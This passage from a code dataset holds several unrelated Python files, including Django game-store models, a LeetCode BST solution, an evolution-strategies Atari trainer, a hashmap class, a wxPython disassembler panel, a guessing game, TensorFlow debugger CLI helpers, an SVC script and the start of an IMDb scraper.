RatingQuery.all()\n sum_of_Rating = 0.0\n for r in Ratings:\n sum_of_Rating = sum_of_Rating + r.stars\n # Converts to two digits\n result = Decimal(round(sum_of_Rating / nofRating, 2))\n # Forces to two decimals\n return result.quantize(Decimal('0.01'))\n else:\n return Decimal(0.00).quantize(Decimal('0.01'))\n\n def get_category_choices(self):\n return CATEGORY_CHOISES\n \n class Meta:\n ordering = ['name']\n\nclass Rating(models.Model):\n \n def validate_star(value):\n if (value > 5 or value < 1):\n raise ValidationError(str(value) + \" is not acceptable. Star must be equal or between 1 and 5\")\n\n stars = models.PositiveSmallIntegerField(validators=[validate_star], blank=False, null=False)\n game = models.ForeignKey('Game', related_name=\"ratings\")\n player = models.ForeignKey('UserProfile')\n\n def change_stars(self, newStars):\n if (newStars > 5 or newStars < 1):\n raise ValidationError(str(newStars) + \" is not acceptable. Star must be equal or between 1 and 5\")\n else:\n self.stars = newStars\n self.full_clean()\n self.save()\n \n class Meta:\n ordering = ['game']\n unique_together = ('game', 'player')\n\n\nclass Purchase(models.Model):\n #a transaction object \n buyer = models.ForeignKey('UserProfile', related_name=\"purchases\", null=True, on_delete=models.SET_NULL)\n game = models.ForeignKey('Game', related_name=\"purchases\", null=True, on_delete=models.SET_NULL)\n time = models.DateTimeField(auto_now=True)\n price = models.DecimalField(max_digits=DECIMAL_MAX_DIGITS, decimal_places=2, default=0.00)\n developer = models.ForeignKey('UserProfile', related_name=\"sales\", null=True)\n\n class Meta:\n unique_together = ('game', 'buyer')\n\nclass HighScore(models.Model):\n points = models.FloatField()\n date = models.DateTimeField(default=timezone.now())\n game = models.ForeignKey(Game, related_name='high_scores', null=True)\n player = models.ForeignKey(UserProfile, related_name='high_scores', null=True) \n\nclass GameSave(models.Model):\n state = models.TextField()\n player = models.ForeignKey(UserProfile, related_name='saved_games', null=True)\n game = models.ForeignKey(Game, related_name='saves', null=True)\n\n class Meta:\n \tunique_together = ('game', 'player')\n\n","sub_path":"gamestore/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"230007739","text":"class TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def construct_tree(self, tree_list):\n if not tree_list:\n return None\n root = TreeNode(tree_list[0])\n queue = [root]\n i = 0\n while queue:\n node = queue.pop(0)\n if i+1 < len(tree_list) and tree_list[i+1]:\n node.left = TreeNode(tree_list[i+1])\n queue.append(node.left)\n if i+2 < len(tree_list) and tree_list[i+2]:\n node.right = TreeNode(tree_list[i+2])\n queue.append(node.right)\n i += 2\n return root\n \n def sortedArrayToBST(self, nums):\n if len(nums) == 0:\n return None\n\n half = len(nums) // 2\n root = TreeNode(nums[half])\n root.left = self.sortedArrayToBST(nums[:half])\n root.right = self.sortedArrayToBST(nums[half+1:])\n return root\n\n def traverse_levels(self, root):\n if not root:\n return []\n level_list = []\n temp_list = []\n result = []\n node = root\n level_list.append(node)\n\n while level_list:\n result.append(list(map(lambda x: x.val, level_list)))\n\n for element in level_list:\n if element.left is not None:\n temp_list.append(element.left)\n if element.right is not None:\n temp_list.append(element.right)\n \n \n level_list = temp_list\n temp_list = []\n\n return result\n\n\n\n\n\n# nums = [-10,-3,0,5,9]\n# nums = [3, 1]\n# nums = [1,2,3,4,5,6,7,8,9]\nnums = [2]\n\ns = Solution()\n# root = s.construct_tree(tree_elements)\nprint(s.traverse_levels(s.sortedArrayToBST(nums)))","sub_path":"leetcode/trees/sorted_array_to_BST.py","file_name":"sorted_array_to_BST.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"150784047","text":"from src.optimizers import OpenAIOptimizer, CanonicalESOptimizer, CanonicalESMeanOptimizer\nfrom src.policy import Policy\nfrom src.logger import Logger\n\nfrom argparse import ArgumentParser\nfrom mpi4py import MPI\nimport numpy as np\nimport time\nimport json\nimport gym\n\n\n# This will allow us to create optimizer based on the string value from the configuration file.\n# Add you optimizers to this dictionary.\noptimizer_dict = {\n 'OpenAIOptimizer': OpenAIOptimizer,\n 'CanonicalESOptimizer': CanonicalESOptimizer,\n 'CanonicalESMeanOptimizer': CanonicalESMeanOptimizer\n}\n\n\n# Main function that executes training loop.\n# Population size is derived from the number of CPUs\n# and the number of episodes per CPU.\n# One CPU (id: 0) is used to evaluate currently proposed\n# solution in each iteration.\n# run_name comes useful when the same hyperparameters\n# are evaluated multiple times.\ndef main(ep_per_cpu, game, configuration_file, run_name):\n start_time = time.time()\n\n with open(configuration_file, 'r') as f:\n configuration = json.loads(f.read())\n\n env_name = '%sNoFrameskip-v4' % game\n\n # MPI stuff\n comm = MPI.COMM_WORLD\n rank = comm.Get_rank()\n cpus = comm.Get_size()\n\n # One cpu (rank 0) will evaluate results\n train_cpus = cpus - 1\n\n # Deduce population size\n lam = train_cpus * ep_per_cpu\n\n # Create environment\n env = gym.make(env_name)\n\n # Create policy (Deep Neural Network)\n # Internally it applies preprocessing to the environment state\n policy = Policy(env, network=configuration['network'], nonlin_name=configuration['nonlin_name'])\n\n # Create reference batch used for normalization\n # It will be overwritten with vb from worker with rank 0\n vb = policy.get_vb()\n\n # Extract vector with current parameters.\n parameters = policy.get_parameters()\n\n # Send parameters from worker 0 to all workers (MPI stuff)\n # to ensure that every worker starts in the same position\n comm.Bcast([parameters, MPI.FLOAT], root=0)\n comm.Bcast([vb, MPI.FLOAT], root=0)\n\n # Set the same virtual batch for each worker\n if rank != 0:\n policy.set_vb(vb)\n\n # Create optimizer with user defined settings (hyperparameters)\n OptimizerClass = optimizer_dict[configuration['optimizer']]\n optimizer = OptimizerClass(parameters, lam, rank, configuration[\"settings\"])\n\n # Only rank 0 worker will log information from the training\n logger = None\n if rank == 0:\n # Initialize logger, save virtual batch and save some basic stuff at the beginning\n logger = Logger(optimizer.log_path(game, configuration['network'], run_name))\n logger.save_vb(vb)\n\n # Log basic stuff\n logger.log('Game'.ljust(25) + '%s' % game)\n logger.log('Network'.ljust(25) + '%s' % configuration['network'])\n logger.log('Optimizer'.ljust(25) + '%s' % configuration['optimizer'])\n logger.log('Number of CPUs'.ljust(25) + '%d' % cpus)\n logger.log('Population'.ljust(25) + '%d' % lam)\n logger.log('Dimensionality'.ljust(25) + '%d' % len(parameters))\n\n # Log basic info from the optimizer\n optimizer.log_basic(logger)\n\n # We will count number of steps\n # frames = 4 * steps (3 * steps for SpaceInvaders)\n steps_passed = 0\n while True:\n # Iteration start time\n iter_start_time = time.time()\n # Workers that run train episodes\n if rank != 0:\n # Empty arrays for each episode. We save: length, reward, noise index\n lens = [0] * ep_per_cpu\n rews = [0] * ep_per_cpu\n inds = [0] * ep_per_cpu\n\n # For each episode in this CPU we get new parameters,\n # update policy network and perform policy rollout\n for i in range(ep_per_cpu):\n ind, p = optimizer.get_parameters()\n policy.set_parameters(p)\n e_rew, e_len = policy.rollout()\n lens[i] = e_len\n rews[i] = e_rew\n inds[i] = ind\n\n # Aggregate information, will later send it to each worker using MPI\n msg = np.array(rews + lens + inds, dtype=np.int32)\n\n # Worker rank 0 that runs evaluation episodes\n else:\n rews = [0] * ep_per_cpu\n lens = [0] * ep_per_cpu\n for i in range(ep_per_cpu):\n ind, p = optimizer.get_parameters()\n policy.set_parameters(p)\n e_rew, e_len = policy.rollout()\n rews[i] = e_rew\n lens[i] = e_len\n\n eval_mean_rew = np.mean(rews)\n eval_max_rew = np.max(rews)\n\n # Empty array, evaluation results are not used for the update\n msg = np.zeros(3 * ep_per_cpu, dtype=np.int32)\n\n # MPI stuff\n # Initialize array which will be updated with information from all workers using MPI\n results = np.empty((cpus, 3 * ep_per_cpu), dtype=np.int32)\n comm.Allgather([msg, MPI.INT], [results, MPI.INT])\n\n # Skip empty evaluation results from worker with id 0\n results = results[1:, :]\n\n # Extract IDs and rewards\n rews = results[:, :ep_per_cpu].flatten()\n lens = results[:, ep_per_cpu:(2*ep_per_cpu)].flatten()\n ids = results[:, (2*ep_per_cpu):].flatten()\n\n # Update parameters\n optimizer.update(ids=ids, rewards=rews)\n\n # Steps passed = Sum of episode steps from all offsprings\n steps = np.sum(lens)\n steps_passed += steps\n\n # Write some logs for this iteration\n # Using logs we are able to recover solution saved\n # after 1 hour of training or after 1 billion frames\n if rank == 0:\n iteration_time = (time.time() - iter_start_time)\n time_elapsed = (time.time() - start_time)/60\n train_mean_rew = np.mean(rews)\n train_max_rew = np.max(rews)\n logger.log('------------------------------------')\n logger.log('Iteration'.ljust(25) + '%f' % optimizer.iteration)\n logger.log('EvalMeanReward'.ljust(25) + '%f' % eval_mean_rew)\n logger.log('EvalMaxReward'.ljust(25) + '%f' % eval_max_rew)\n logger.log('TrainMeanReward'.ljust(25) + '%f' % train_mean_rew)\n logger.log('TrainMaxReward'.ljust(25) + '%f' % train_max_rew)\n logger.log('StepsSinceStart'.ljust(25) + '%f' % steps_passed)\n logger.log('StepsThisIter'.ljust(25) + '%f' % steps)\n logger.log('IterationTime'.ljust(25) + '%f' % iteration_time)\n logger.log('TimeSinceStart'.ljust(25) + '%f' % time_elapsed)\n\n # Give optimizer a chance to log its own stuff\n optimizer.log(logger)\n logger.log('------------------------------------')\n\n # Write stuff for training curve plot\n stat_string = \"{},\\t{},\\t{},\\t{},\\t{},\\t{}\\n\".\\\n format(steps_passed, (time.time()-start_time),\n eval_mean_rew, eval_max_rew, train_mean_rew, train_max_rew)\n logger.write_general_stat(stat_string)\n logger.write_optimizer_stat(optimizer.stat_string())\n\n # Save currently proposed solution every 20 iterations\n if optimizer.iteration % 20 == 1:\n logger.save_parameters(optimizer.parameters, optimizer.iteration)\n\n\ndef parse_arguments():\n parser = ArgumentParser()\n parser.add_argument('-e', '--episodes_per_cpu',\n help=\"Number of episode evaluations for each CPU, \"\n \"population_size = episodes_per_cpu * Number of CPUs\",\n default=1, type=int)\n parser.add_argument('-g', '--game', help=\"Atari Game used to train an agent\")\n parser.add_argument('-c', '--configuration_file', help='Path to configuration file')\n parser.add_argument('-r', '--run_name', help='Name of the run, used to create log folder name', type=str)\n args = parser.parse_args()\n return args.episodes_per_cpu, args.game, args.configuration_file, args.run_name\n\n\nif __name__ == '__main__':\n ep_per_cpu, game, configuration_file, run_name = parse_arguments()\n main(ep_per_cpu, game, configuration_file, run_name)\n","sub_path":"Democode/Canonical_ES_Atari-master/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"386456103","text":"class Node:\n def __init__(self, key, value):\n self.key = key\n self.value = value\n self.next = None\n\nclass Hashmap:\n Empty = True\n size = 0\n KeyLists = []\n ValueLists = []\n GlobalLists = []\n def __init__(self):\n self.store = [None for _ in range(42)]\n\n def Get(self, key):\n if(self.Empty != True):\n index = hash(key) % 41\n if self.store[index] is None:\n return \"We don't have this Key and Value\"\n n = self.store[index]\n while True:\n if n.key == key:\n return n.value\n else:\n if n.next:\n n = n.next\n else:\n return \"We don't have this Key and Value\"\n else:\n return \"We don't have this Key and Value\"\n\n def Put(self,key, value):\n self.Empty = False\n nd = Node(key, value)\n index = hash(key) % 41\n self.size = self.size + 1\n\n n = self.store[index]\n if n is None:\n self.store[index] = nd\n else:\n if n.key == key:\n n.value = value\n self.size = self.size - 1\n else:\n while n.next:\n if n.key == key:\n n.value = value\n self.size = self.size - 1\n return\n else:\n n = n.next\n n.next = nd\n\n def IsEmpty(self):\n if self.size == 0:\n return \"It's Empty\"\n else:\n return \"It's not Empty\"\n\n def ContainKey(self,key):\n index = hash(key) % 41\n n = self.store[index]\n if n is None:\n return \"We don't have this Key\"\n while True:\n if n.key == key:\n return \"We have this Key!\"\n else:\n if n.next:\n n = n.next\n else:\n return \"We don't have this Key\"\n\n def HashSize(self):\n return self.size\n\n def KeySet(self):\n self.KeyLists.clear()\n for item in self.store:\n n = item\n while n:\n self.KeyLists.append(n.key)\n n = n.next\n return self.KeyLists\n\n def ValueSet(self):\n self.ValueLists.clear()\n for item in self.store:\n n =item\n while n:\n self.ValueLists.append(n.value)\n n = n.next\n return self.ValueLists\n\n def ClearTable(self):\n self.Empty = True\n self.store.clear()\n\n def RemoveItem(self,key):\n index = hash(key) % 41\n n = self.store[index]\n if self.store[index] is None:\n return \"It doesn't exist\"\n if n.key == key:\n n = n.next\n self.store[index] = n\n self.size = self.size -1\n return \"DONE!\"\n else:\n while True:\n if n.next.key == key:\n n.next = n.next.next\n #self.store[index] = n\n self.size = self.size - 1\n return \"DONE!\"\n else:\n if n.next:\n n = n.next\n else:\n return \"It doesn't exist\"\n def EntrySet(self):\n self.GlobalLists.clear()\n for item in self.store:\n n = item\n while n:\n self.GlobalLists.append([n.key,n.value])\n n = n.next\n return self.GlobalLists\n def Clone(self):\n return self\n def __len__(self):\n return self.size\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"untitled1/HashMap.py","file_name":"HashMap.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"182598390","text":"# -*- coding: utf8 -*-\r\n\r\n\"\"\"\r\n\r\nCopyright 2006-2009, BeatriX\r\n\r\nThis file is part of BeaEngine.\r\n \r\nBeaEngine is free software: you can redistribute it and/or modify\r\nit under the terms of the GNU Lesser General Public License as published by\r\nthe Free Software Foundation, either version 3 of the License, or\r\n(at your option) any later version.\r\n\r\nBeaEngine is distributed in the hope that it will be useful,\r\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\r\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\nGNU Lesser General Public License for more details.\r\n\r\nYou should have received a copy of the GNU Lesser General Public License\r\nalong with BeaEngine. If not, see .\r\n\r\n\"\"\"\r\n\r\n# Import packages\r\n\r\nimport wx # This module uses the new wx namespace\r\n\r\n#---------------------------------------------------------------------------\r\n\r\nclass My_StaticBox(wx.Panel):\r\n def __init__(self, parent):\r\n wx.Panel.__init__(self, parent, -1)\r\n \r\n #-------------------------------------------------------------------\r\n \r\n self.parent = parent\r\n \r\n #-------------------------------------------------------------------\r\n \r\n fontSize = self.GetFont().GetPointSize()\r\n \r\n # wx.Font(pointSize, family, style, weight, underline, faceName)\r\n if wx.Platform == \"__WXMAC__\":\r\n self.normalFont = wx.Font(fontSize-4,\r\n wx.DEFAULT, wx.NORMAL, wx.NORMAL, False, \"\")\r\n \r\n elif wx.Platform == \"__WXGTK__\":\r\n self.normalFont = wx.Font(fontSize-1,\r\n wx.DEFAULT, wx.NORMAL, wx.NORMAL, False, \"\")\r\n \r\n else:\r\n self.normalFont = wx.Font(fontSize+0,\r\n wx.DEFAULT, wx.NORMAL, wx.NORMAL, False, \"\")\r\n \r\n self.SetFont(self.normalFont)\r\n \r\n #-------------------------------------------------------------------\r\n \r\n box = wx.StaticBox(self, -1, u\"Argument n°2 :\")\r\n box.SetForegroundColour(\"#0074ff\")\r\n bsizer1 = wx.StaticBoxSizer(box, wx.VERTICAL)\r\n \r\n texte1 = wx.StaticText(self, -1, \"Arg. Type = CONSTANT_TYPE + RELATIVE\",\r\n style=wx.ALIGN_LEFT)\r\n texte1.SetFont(self.normalFont)\r\n bsizer1.Add(texte1, 1, wx.ALL|wx.EXPAND, 0)\r\n \r\n texte1 = wx.StaticText(self, -1, \"Access. Mode = READ\",\r\n style=wx.ALIGN_LEFT)\r\n texte1.SetFont(self.normalFont)\r\n bsizer1.Add(texte1, 1, wx.ALL|wx.EXPAND, 0)\r\n \r\n texte1 = wx.StaticText(self, -1, \"Arg. Mnemonic = 40717Eh\",\r\n style=wx.ALIGN_LEFT)\r\n texte1.SetFont(self.normalFont)\r\n bsizer1.Add(texte1, 1, wx.ALL|wx.EXPAND, 0)\r\n \r\n texte1 = wx.StaticText(self, -1, \"Arg. Size = 00000000\",\r\n style=wx.ALIGN_LEFT)\r\n texte1.SetFont(self.normalFont)\r\n bsizer1.Add(texte1, 1, wx.ALL|wx.EXPAND, 0)\r\n \r\n texte1 = wx.StaticText(self, -1, \"Memory. Base Register = -\",\r\n style=wx.ALIGN_LEFT)\r\n texte1.SetFont(self.normalFont)\r\n bsizer1.Add(texte1, 1, wx.ALL|wx.EXPAND, 0)\r\n \r\n texte1 = wx.StaticText(self, -1, \"Memory. Index Register = -\",\r\n style=wx.ALIGN_LEFT)\r\n texte1.SetFont(self.normalFont)\r\n bsizer1.Add(texte1, 1, wx.ALL|wx.EXPAND, 0)\r\n \r\n texte1 = wx.StaticText(self, -1, \"Memory. Scale = 00000000\",\r\n style=wx.ALIGN_LEFT)\r\n texte1.SetFont(self.normalFont)\r\n bsizer1.Add(texte1, 1, wx.ALL|wx.EXPAND, 0)\r\n \r\n texte1 = wx.StaticText(self, -1, \"Memory. Displacement = 00000000\",\r\n style=wx.ALIGN_LEFT)\r\n texte1.SetFont(self.normalFont)\r\n bsizer1.Add(texte1, 1, wx.ALL|wx.EXPAND, 0)\r\n \r\n #-------------------------------------------------------------------\r\n #-------------------------------------------------------------------\r\n \r\n sizer = wx.BoxSizer(wx.HORIZONTAL)\r\n sizer.Add(bsizer1, 1, wx.EXPAND | wx.TOP, 3)\r\n \r\n #----------\r\n \r\n topSizer = wx.BoxSizer(wx.VERTICAL)\r\n topSizer.Add(sizer, 1, wx.EXPAND | wx.TOP, 3)\r\n \r\n #----------\r\n \r\n self.SetSizer(topSizer)\r\n topSizer.Fit(self)\r\n \r\n \r\n","sub_path":"PyLookInside/ArgumentTwo.py","file_name":"ArgumentTwo.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"161031247","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 7 13:46:21 2018\n\n@author: ChenAndPepsi\n\"\"\"\n\n\n\n### A Small Game: Guessing a Number between 1 and 100 \n\n\n\nimport numpy as np\n\n\nplayer_name = input(\"\\nPlease enter your name here before playing: \")\n\ntotal_tries = 6\nprint(\"\\nWelcome \" + player_name.title() + \", you will have \" + str(total_tries) + \" tries !\")\n\nprompt = \"\\nGuess a random number between 1 and 100!\"\nprompt += \"\\nIf your guessing is the same as my number, you win the game!\"\nprompt += \"\\nYou will have a certain number of tries as shown above.\"\nprompt += \"\\nYou will get a score if you win the game. The less time you have tried, the better score you get!\"\nprompt += (\"\\nWhen your guessing is wrong, you will be told either your \" + \n \"number is larger or smaller than my number!\")\nprompt += \"\\nPlease start your first guessing here: \"\n\n\nnumber = input(prompt)\nnumber = int(number)\n#assert (number >= 1 and number <= 100), \"You must eneter a number between 1 and 100!\"\nwhile number > 100 or number < 1:\n print(\"\\nYou must enter a number between 1 and 100!\")\n number = input(\"\\nPlease enter again here: \")\n number = int(number)\n\nmy_number = np.random.randint(1,101)\n#my_number = 77\n\ncurrent_tries = 1\n\n\nwhile current_tries <= total_tries:\n \n if current_tries < total_tries:\n if number < my_number:\n current_tries += 1\n tries_left = total_tries - current_tries + 1\n print(\"\\nToo small!\")\n number = input(\"\\nYou have \" + str(tries_left) + \" chance(s) left: \")\n number = int(number)\n while number > 100 or number < 1:\n number = print(\"\\nYou must enter a number between 1 and 100!\")\n number = input(\"\\nPlease enter again here: \")\n number = int(number)\n #assert (number >= 1 and number <= 100), \"You must eneter a number between 1 and 100!\"\n elif number > my_number:\n current_tries += 1\n tries_left = total_tries - current_tries + 1\n print(\"\\nToo large!\")\n number = input(\"\\nYou have \" + str(tries_left) + \" chance(s) left: \")\n number = int(number)\n while number > 100 or number <1:\n number = print(\"\\nYou must enter a number between 1 and 100!\")\n number = input(\"\\nPlease enter again here: \")\n number = int(number)\n #assert (number >= 1 and number <= 100), \"You must eneter a number between 1 and 100!\"\n else:\n score = 10 * total_tries - 10 * current_tries + 10\n print(\"\\nYou got it! Smart \" + player_name.title() + \"!\")\n print(\"\\nYour score is \" + str(score) + \".\")\n break\n\n else:\n if number == my_number:\n print(\"\\nYou got it! Smart \" + player_name.title() + \"!\")\n print(\"\\nYour score is 10.\")\n break\n else: \n print(\"\\nYou LOST the game \" + player_name.title() + \"! Life is Tough!\")\n print(\"\\nThe correct number is: \" + str(my_number))\n break\n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n","sub_path":"A_Small_Game.py","file_name":"A_Small_Game.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"57336083","text":"# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Shared functions and classes for tfdbg command-line interface.\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport six\n\nfrom tensorflow.python.debug.cli import debugger_cli_common\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import variables\n\n\ndef _get_fetch_names(fetches):\n \"\"\"Get a flattened list of the names in run() call fetches.\n\n Args:\n fetches: Fetches of the `Session.run()` call. It maybe a Tensor, an\n Operation or a Variable. It may also be nested lists, tuples or\n dicts. See doc of `Session.run()` for more details.\n\n Returns:\n (list of str) A flattened list of fetch names from `fetches`.\n \"\"\"\n\n lines = []\n if isinstance(fetches, (list, tuple)):\n for fetch in fetches:\n lines.extend(_get_fetch_names(fetch))\n elif isinstance(fetches, dict):\n for key in fetches:\n lines.extend(_get_fetch_names(fetches[key]))\n else:\n # This ought to be a Tensor, an Operation or a Variable, for which the name\n # attribute should be available. (Bottom-out condition of the recursion.)\n lines.append(fetches.name)\n\n return lines\n\n\ndef _recommend_command(command, description, indent=2):\n \"\"\"Generate a RichTextLines object that describes a recommended command.\n\n Args:\n command: (str) The command to recommend.\n description: (str) A description of what the the command does.\n indent: (int) How many spaces to indent in the beginning.\n\n Returns:\n (RichTextLines) Formatted text (with font attributes) for recommending the\n command.\n \"\"\"\n\n indent_str = \" \" * indent\n lines = [indent_str + command + \":\", indent_str + \" \" + description]\n font_attr_segs = {0: [(indent, indent + len(command), \"bold\")]}\n\n return debugger_cli_common.RichTextLines(lines, font_attr_segs=font_attr_segs)\n\n\ndef get_run_start_intro(run_call_count, fetches, feed_dict, tensor_filters):\n \"\"\"Generate formatted intro for run-start UI.\n\n Args:\n run_call_count: (int) Run call counter.\n fetches: Fetches of the `Session.run()` call. See doc of `Session.run()`\n for more details.\n feed_dict: Feeds to the `Session.run()` call. See doc of `Session.run()`\n for more details.\n tensor_filters: (dict) A dict from tensor-filter name to tensor-filter\n callable.\n\n Returns:\n (RichTextLines) Formatted intro message about the `Session.run()` call.\n \"\"\"\n\n fetch_lines = _get_fetch_names(fetches)\n\n if not feed_dict:\n feed_dict_lines = [\"(Empty)\"]\n else:\n feed_dict_lines = []\n for feed_key in feed_dict:\n if isinstance(feed_key, six.string_types):\n feed_dict_lines.append(feed_key)\n else:\n feed_dict_lines.append(feed_key.name)\n\n intro_lines = [\n \"======================================\",\n \"About to enter Session run() call #%d:\" % run_call_count, \"\",\n \"Fetch(es):\"\n ]\n intro_lines.extend([\" \" + line for line in fetch_lines])\n intro_lines.extend([\"\", \"Feed dict(s):\"])\n intro_lines.extend([\" \" + line for line in feed_dict_lines])\n intro_lines.extend([\n \"======================================\", \"\",\n \"Select one of the following commands to proceed ---->\"\n ])\n\n out = debugger_cli_common.RichTextLines(intro_lines)\n\n out.extend(\n _recommend_command(\"run\",\n \"Execute the run() call with debug tensor-watching\"))\n out.extend(\n _recommend_command(\n \"run -n\", \"Execute the run() call without debug tensor-watching\"))\n out.extend(\n _recommend_command(\n \"run -f \",\n \"Keep executing run() calls until a dumped tensor passes a given, \"\n \"registered filter (conditional breakpoint mode).\"))\n\n more_font_attr_segs = {}\n more_lines = [\" Registered filter(s):\"]\n\n if tensor_filters:\n filter_names = []\n for filter_name in tensor_filters:\n filter_names.append(filter_name)\n more_lines.append(\" * \" + filter_name)\n more_font_attr_segs[len(more_lines) - 1] = [(10, len(more_lines[-1]),\n \"green\")]\n else:\n more_lines.append(\" (None)\")\n\n more_lines.extend([\n \"\",\n \"For more details, see help below:\"\n \"\",\n ])\n\n out.extend(\n debugger_cli_common.RichTextLines(\n more_lines, font_attr_segs=more_font_attr_segs))\n\n return out\n\n\ndef get_run_short_description(run_call_count, fetches, feed_dict):\n \"\"\"Get a short description of the run() call.\n\n Args:\n run_call_count: (int) Run call counter.\n fetches: Fetches of the `Session.run()` call. See doc of `Session.run()`\n for more details.\n feed_dict: Feeds to the `Session.run()` call. See doc of `Session.run()`\n for more details.\n\n Returns:\n (str) A short description of the run() call, including information about\n the fetche(s) and feed(s).\n \"\"\"\n\n description = \"run #%d: \" % run_call_count\n\n if isinstance(fetches, (ops.Tensor, ops.Operation, variables.Variable)):\n description += \"1 fetch (%s); \" % fetches.name\n else:\n # Could be (nested) list, tuple, dict or namedtuple.\n num_fetches = len(_get_fetch_names(fetches))\n if num_fetches > 1:\n description += \"%d fetches; \" % num_fetches\n else:\n description += \"%d fetch; \" % num_fetches\n\n if not feed_dict:\n description += \"0 feeds\"\n else:\n if len(feed_dict) == 1:\n for key in feed_dict:\n description += \"1 feed (%s)\" % key.name\n else:\n description += \"%d feeds\" % len(feed_dict)\n\n return description\n\n\ndef get_error_intro(tf_error):\n \"\"\"Generate formatted intro for TensorFlow run-time error.\n\n Args:\n tf_error: (errors.OpError) TensorFlow run-time error object.\n\n Returns:\n (RichTextLines) Formatted intro message about the run-time OpError, with\n sample commands for debugging.\n \"\"\"\n\n op_name = tf_error.op.name\n\n intro_lines = [\n \"--------------------------------------\",\n \"!!! An error occurred during the run !!!\",\n \"\",\n \"You may use the following commands to debug:\",\n ]\n intro_font_attr_segs = {1: [(0, len(intro_lines[1]), \"blink\")]}\n\n out = debugger_cli_common.RichTextLines(\n intro_lines, font_attr_segs=intro_font_attr_segs)\n\n out.extend(\n _recommend_command(\"ni %s\" % op_name,\n \"Inspect information about the failing op.\"))\n out.extend(\n _recommend_command(\"li -r %s\" % op_name,\n \"List inputs to the failing op, recursively.\"))\n out.extend(\n _recommend_command(\n \"lt\", \"List all tensors dumped during the failing run() call.\"))\n\n more_lines = [\n \"\",\n \"Op name: \" + op_name,\n \"Error type: \" + str(type(tf_error)),\n \"\",\n \"Details:\",\n str(tf_error),\n \"\",\n \"WARNING: Using client GraphDef due to the error, instead of \"\n \"executor GraphDefs.\",\n \"--------------------------------------\",\n \"\",\n ]\n\n out.extend(debugger_cli_common.RichTextLines(more_lines))\n\n return out\n","sub_path":"tensorflow/python/debug/cli/cli_shared.py","file_name":"cli_shared.py","file_ext":"py","file_size_in_byte":7671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"383987387","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.svm import SVC\r\nfrom sklearn import preprocessing\r\nfrom sklearn.model_selection import train_test_split\r\nimport seaborn as sns\r\nimport warnings\r\n\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\ndf = pd.read_csv('balance.csv')\r\n\r\nprint(df.head())\r\n\r\n#SVC\r\naccuracy = []\r\nfor i in range(10000):\r\n\tX = preprocessing.scale(np.array(df.iloc[:,1:]))\r\n\ty = df['class']\r\n\r\n\tX_train,X_test,y_train,y_test = train_test_split(X,y,test_size=0.2)\r\n\r\n\tclf = SVC(C=1e3, gamma=0.01)\r\n\tclf.fit(X_train,y_train)\r\n\tacc = clf.score(X_test,y_test)\r\n\tprint(acc)\r\n\taccuracy.append(acc)\r\n\r\n#plot accuracy\r\nx = np.arange(len(accuracy))\r\nplt.figure()\r\nplt.title('SVC accuracy')\r\nplt.xlabel('Iteration')\r\nplt.ylabel('Accuracy')\r\nplt.plot(x, accuracy)\r\nplt.savefig('svc_acc.png')","sub_path":"old_projects/balance_svc/find_balance.py","file_name":"find_balance.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"53980486","text":"# -*- coding: utf-8 -*-\nimport re\nfrom bs4 import BeautifulSoup\nimport urllib3.request\nimport requests\n\ncount = 0\nline_count = 0\n\ndef main():\n # people xml\n\n csv = open(\"movie_metadata_final.csv\", \"r\")\n xml = open(\"people.xml\", \"w\")\n\n xml.write(\"\\n\")\n xml.write(\"\\n\")\n actors_list = {}\n directors_list = {}\n\n while True:\n line_t = csv.readline()\n line = re.compile(\",(?=(?:[^\\\"]*\\\"[^\\\"]*\\\")*(?![^\\\"]*\\\"))\").split(line_t)\n if not line or line[0] == \"\":\n break\n global line_count\n line_count += 1\n print(\"line: \"+str(line_count))\n\n movie_imdb_link = line[17].replace(\"\\\"\", \"\").strip() # http: // www.imdb.com / title / tt2975590 /?ref_ = fn_tt_tt_1\n director_name = line[1].replace(\"\\\"\", \"\").strip()\n print(\"\\n--------------------------------------\\ndir name: \"+director_name)\n if director_name not in directors_list:\n director_url = find_dir_profile_link(movie_imdb_link, director_name)\n if director_url is not None:\n try:\n image = (BeautifulSoup(requests.get\n (director_url).text, \"html.parser\").find\n ('img', {'id': 'name-poster'})['src'])\n print(\"Image 